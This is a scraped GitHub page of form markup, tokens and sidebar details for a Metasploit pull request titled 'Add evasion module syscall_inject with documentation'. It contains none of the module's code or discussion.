<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjM4NzI2MA==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/700557129
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700557129" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="jCGaCT6sGHtuOmBWnPR6p+SuPM/E6dCvpVQ57LKR3t/Z+TSsHp2qgBjjOdQ91FCjR/7qKYdVbAUqrxHBfz65Zw==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700557129/edit_form?textarea_id=discussion_r700557129-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="ZBs597IXOr98HMt2S3uSqI/XcJvRhnIgqhOFOSZYZBtgklvfVS1kJ8emLVdBXbxCdoWK7/8H4mXX6/qiP+xYQg==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDU1NzEyOQ==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/702400865
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702400865" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="9vzVqcji7zB82H9aPhWLanWy20ak7O4UbIp2Ej+c6DHsPccCEB4qSWKEwkrC2uOOZJ2xAF7HzoEXTea92tQsag==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702400865/edit_form?textarea_id=discussion_r702400865-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="RWe12ZtZ+/cRCdbRayxYlQl88a7o+HXxbxXttODmCUdB7tfxfGOlb6qzMPBhCnZ/8C4L2sZ55bQS7ZIv+VI1Hg==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjQwMDg2NQ==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/reviews/750347823/update
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/reviews/750347823/update" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="pLoJpyzj5dErqc754ORRTwZb8Eju9tgSQn42/k6UfwBMojlncxKd6n1R9otf7PciRvubb7hqWfnm8bS7lNyPTQ==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/reviews/750347823/update/edit_form?textarea_id=pullrequestreview-750347823-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="+6+FzKv+81WoPympooyqPv+hC/IIh0LW/k8qjjLaoCP/JufkTMStzROFz4ioqoTUBvPxhiYG0pODt1UVK26ceg==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDE3OlB1bGxSZXF1ZXN0UmV2aWV3NzUwMzQ3ODIz">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/issue_comments/917175738
<form class="js-comment-update" id="issuecomment-917175738-edit-form" action="/rapid7/metasploit-framework/issue_comments/917175738" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="jp9rHqeurooTlUXPdF0YTy2fEnUcNqmZwW6ytIR37FGgTjTR3wh0dFNaklLWOD9chjpKjjAFWhUYe6avyqEL6g==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/917175738/edit_form?textarea_id=issuecomment-917175738-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/issue_comments/917643275
<form class="js-comment-update" id="issuecomment-917643275-edit-form" action="/rapid7/metasploit-framework/issue_comments/917643275" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="yU3K4OCsKfghSCoo8LGtm29jzBaM11ovGSAAkHjl9HAQp/Wzpwovkm0Vv8Awb9cx9boEVxTbEi86kgJAovKJmg==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/917643275/edit_form?textarea_id=issuecomment-917643275-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/issue_comments/919168273
<form class="js-comment-update" id="issuecomment-919168273-edit-form" action="/rapid7/metasploit-framework/issue_comments/919168273" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="hF5UE7AnvfsyTXflS2e6fzLM+iedDuzEwnwmLk6dcsaZ6h+DVvW4XvXKhspLnJv9APehg6I4IQASsluzzd+/sA==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/919168273/edit_form?textarea_id=issuecomment-919168273-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/issue_comments/919494327
<form class="js-comment-update" id="issuecomment-919494327-edit-form" action="/rapid7/metasploit-framework/issue_comments/919494327" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="eUPScP4b1adcxafJGeX5le/WZvJxxwDGv8cys9ONaT916BkkK6fTjz+R0AyeieVmvs9a5A/OFPpTcoIYRGjl3g==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/919494327/edit_form?textarea_id=issuecomment-919494327-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/issue_comments/922517350
<form class="js-comment-update" id="issuecomment-922517350-edit-form" action="/rapid7/metasploit-framework/issue_comments/922517350" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="owGCGxJvtxbm18y5hDBguQ6RMOTvXzP0XAJf1FMRlQjsjdYtok5Ux1ZbZrrkcpPVzPfisC7lBgTgAF3byQXF8Q==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/922517350/edit_form?textarea_id=issuecomment-922517350-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/issue_comments/924959412
<form class="js-comment-update" id="issuecomment-924959412-edit-form" action="/rapid7/metasploit-framework/issue_comments/924959412" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="ZFBSlTEHi2llN0LvsgSgwMixAgXD8IryDMhuJdA0sgKVTDy2cjqt1TfQlKgVV/9gnGjQvNLdJwPpJMmZFZO9pw==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/924959412/edit_form?textarea_id=issuecomment-924959412-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/issue_comments/924977132
<form class="js-comment-update" id="issuecomment-924977132-edit-form" action="/rapid7/metasploit-framework/issue_comments/924977132" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="qd/gS0rLLT1z30lK/C8XGua1UNhpGoKT8LAVIYlPJ7xDjdQHIH56MTWAZcsL1XdMWNHNcgN6k0qFh2fGuwl37g==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/924977132/edit_form?textarea_id=issuecomment-924977132-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /_graphql/MarkNotificationSubjectAsRead
<form class="d-none js-timeline-marker-form" action="/_graphql/MarkNotificationSubjectAsRead" accept-charset="UTF-8" data-remote="true" method="post"><input type="hidden" data-csrf="true" name="authenticity_token"
value="ojABw9wl00d+dJVk/8BN1tntiH8IJvN7rcmUhQOEPiLVP5x42xOj/DK7ybb81o5TkQzWdv1EJSIoYFMQKq7arw==">
<input type="hidden" name="variables[subjectId]" value="MDExOlB1bGxSZXF1ZXN0NzAwOTcwNjg5">
</form>
POST /rapid7/metasploit-framework/pull/15506/review-requests
<form class="js-issue-sidebar-form" aria-label="Select reviewers" data-reviewers-team-size-check-url="/rapid7/metasploit-framework/pull/15506/review-requests/team-size-check" action="/rapid7/metasploit-framework/pull/15506/review-requests"
accept-charset="UTF-8" method="post"><input type="hidden" data-csrf="true" name="authenticity_token" value="Xp+D0oGxdNXw+8SObGyI3WRzQaTkKYyA/CGYNIe+wkwbsMAhkwYiSpkn8ntguUG2qiydDzGl+9N+TlH4xNV+dg==">
<div class="js-large-teams-check-warning-container"></div>
<div class="discussion-sidebar-heading text-bold"> Reviewers </div>
<span class="css-truncate">
<p class="d-flex">
<span class="d-flex min-width-0 flex-1 js-hovercard-left" data-hovercard-type="user" data-hovercard-url="/users/smcintyre-r7/hovercard" data-assignee-name="smcintyre-r7">
<a class="no-underline" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/smcintyre-r7">
<img class="avatar mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/58950994?s=40&v=4" width="20" height="20" alt="@smcintyre-r7">
</a> <a class="assignee Link--primary css-truncate-target width-fit" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/smcintyre-r7">
<span class="css-truncate-target width-fit v-align-middle">smcintyre-r7</span>
</a></span>
<a class="flex-order-1" href="/rapid7/metasploit-framework/pull/15506/files/3bf8a5c1ba26733567157731ed9f8624d3c7de61">
<span class="reviewers-status-icon tooltipped tooltipped-nw float-right d-block text-center" aria-label="smcintyre-r7 requested changes">
<svg class="octicon octicon-file-diff color-text-danger" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.75 1.5a.25.25 0 00-.25.25v12.5c0 .138.112.25.25.25h10.5a.25.25 0 00.25-.25V4.664a.25.25 0 00-.073-.177l-2.914-2.914a.25.25 0 00-.177-.073H2.75zM1 1.75C1 .784 1.784 0 2.75 0h7.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0113.25 16H2.75A1.75 1.75 0 011 14.25V1.75zm7 1.5a.75.75 0 01.75.75v1.5h1.5a.75.75 0 010 1.5h-1.5v1.5a.75.75 0 01-1.5 0V7h-1.5a.75.75 0 010-1.5h1.5V4A.75.75 0 018 3.25zm-3 8a.75.75 0 01.75-.75h4.5a.75.75 0 010 1.5h-4.5a.75.75 0 01-.75-.75z"></path></svg>
</span>
</a>
</p>
<p class="d-flex">
<span class="d-flex min-width-0 flex-1 js-hovercard-left" data-hovercard-type="user" data-hovercard-url="/users/adfoster-r7/hovercard" data-assignee-name="adfoster-r7">
<a class="no-underline" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/adfoster-r7">
<img class="avatar mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/60357436?s=40&v=4" width="20" height="20" alt="@adfoster-r7">
</a> <a class="assignee Link--primary css-truncate-target width-fit" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/adfoster-r7">
<span class="css-truncate-target width-fit v-align-middle">adfoster-r7</span>
</a></span>
<span class="reviewers-status-icon tooltipped tooltipped-nw flex-order-2 >d-block text-center" aria-label="Awaiting requested review from adfoster-r7">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-dot-fill color-yellow-7">
<path fill-rule="evenodd" d="M8 4a4 4 0 100 8 4 4 0 000-8z"></path>
</svg>
</span>
</p>
</span>
</form>
POST /rapid7/metasploit-framework/issues/15506/assignees
<form class="js-issue-sidebar-form" aria-label="Select assignees" action="/rapid7/metasploit-framework/issues/15506/assignees" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="mu6+G8IAsfmvzsYgxYjdwi8pq9TAxuZaM260MWhcvsCYUM/7oNfPB2MHDjhk85sHJ6cgoyPrhMIFF1HWJsKLDA==">
<div class="discussion-sidebar-heading text-bold"> Assignees </div>
<span class="css-truncate js-issue-assignees">
<p>
<span class="d-flex min-width-0 flex-1 js-hovercard-left" data-hovercard-type="user" data-hovercard-url="/users/smcintyre-r7/hovercard" data-assignee-name="smcintyre-r7">
<a class="no-underline" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/smcintyre-r7">
<img class="avatar mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/58950994?s=40&v=4" width="20" height="20" alt="@smcintyre-r7">
</a> <a class="assignee Link--primary css-truncate-target width-fit" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/smcintyre-r7">
<span class="css-truncate-target width-fit v-align-middle">smcintyre-r7</span>
</a> <span class="reviewers-status-icon v-hidden" aria-hidden="true"></span>
</span>
</p>
</span>
</form>
POST /rapid7/metasploit-framework/projects/issues/15506
<form class="js-issue-sidebar-form" aria-label="Select projects" action="/rapid7/metasploit-framework/projects/issues/15506" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
data-csrf="true" name="authenticity_token" value="01/I2MYrAdjEZCpFL60FeLH3hk6ZQuY8YpjR65nYndE0SyK7SVGO5/oS9tOlSXgquJrGWbPk51C/FVHl5DL3bQ==">
<div class="discussion-sidebar-heading text-bold"> Projects </div>
<span class="css-truncate sidebar-progress-bar"> None yet </span>
</form>
POST /rapid7/metasploit-framework/issues/15506/set_milestone?partial=issues%2Fsidebar%2Fshow%2Fmilestone
<form class="js-issue-sidebar-form" aria-label="Select milestones" action="/rapid7/metasploit-framework/issues/15506/set_milestone?partial=issues%2Fsidebar%2Fshow%2Fmilestone" accept-charset="UTF-8" method="post"><input type="hidden" name="_method"
value="put" autocomplete="off"><input type="hidden" data-csrf="true" name="authenticity_token" value="Rhny/1Ji/bQx93cifLuyBj8gd9Xzd6JF56Wb0OnUtUWkGZ64fwgsN8L4kjkF+msRrYtivYE0eD9WgR2hdkwQBA==">
<div class="discussion-sidebar-heading text-bold"> Milestone </div> No milestone
</form>
POST /rapid7/metasploit-framework/issues/closing_references?source_id=700970689&source_type=PULL_REQUEST
<form class="js-issue-sidebar-form" aria-label="Link issues" action="/rapid7/metasploit-framework/issues/closing_references?source_id=700970689&source_type=PULL_REQUEST" accept-charset="UTF-8" method="post"><input type="hidden" name="_method"
value="put" autocomplete="off"><input type="hidden" data-csrf="true" name="authenticity_token" value="zfbbHxS663OADW4rCaFB/eecB/dEVAW9WncJnpAFegUvturBdg1w9fyhcQmufcas+TTKyhllXatdi1DeG7XFXg==">
<div class="discussion-sidebar-heading text-bold"> Linked issues </div>
<p>Successfully merging this pull request may close these issues.</p>
<p>None yet</p>
</form>
Text Content
Skip to content Sign up * Why GitHub? Features → * Mobile → * Actions → * Codespaces → * Packages → * Security → * Code review → * Issues → * Integrations → * GitHub Sponsors → * Customer stories→ * Team * Enterprise * Explore * Explore GitHub → LEARN AND CONTRIBUTE * Topics → * Collections → * Trending → * Learning Lab → * Open source guides → CONNECT WITH OTHERS * The ReadME Project → * Events → * Community forum → * GitHub Education → * GitHub Stars program → * Marketplace * Pricing Plans → * Compare plans → * Contact Sales → * Education → * In this repository All GitHub ↵ Jump to ↵ * No suggested jump to results * In this repository All GitHub ↵ Jump to ↵ * In this organization All GitHub ↵ Jump to ↵ * In this repository All GitHub ↵ Jump to ↵ Sign in Sign up {{ message }} RAPID7 / METASPLOIT-FRAMEWORK PUBLIC * Notifications * Star 25.3k * Fork 11.6k * Code * Issues 468 * Pull requests 26 * Discussions * Actions * Projects 2 * Wiki * Security * Insights More * Code * Issues * Pull requests * Discussions * Actions * Projects * Wiki * Security * Insights New issue Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community. Pick a username Email Address Password Sign up for GitHub By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails. Already on GitHub? Sign in to your account Jump to bottom ADD EVASION MODULE SYSCALL_INJECT WITH DOCUMENTATION #15506 Merged 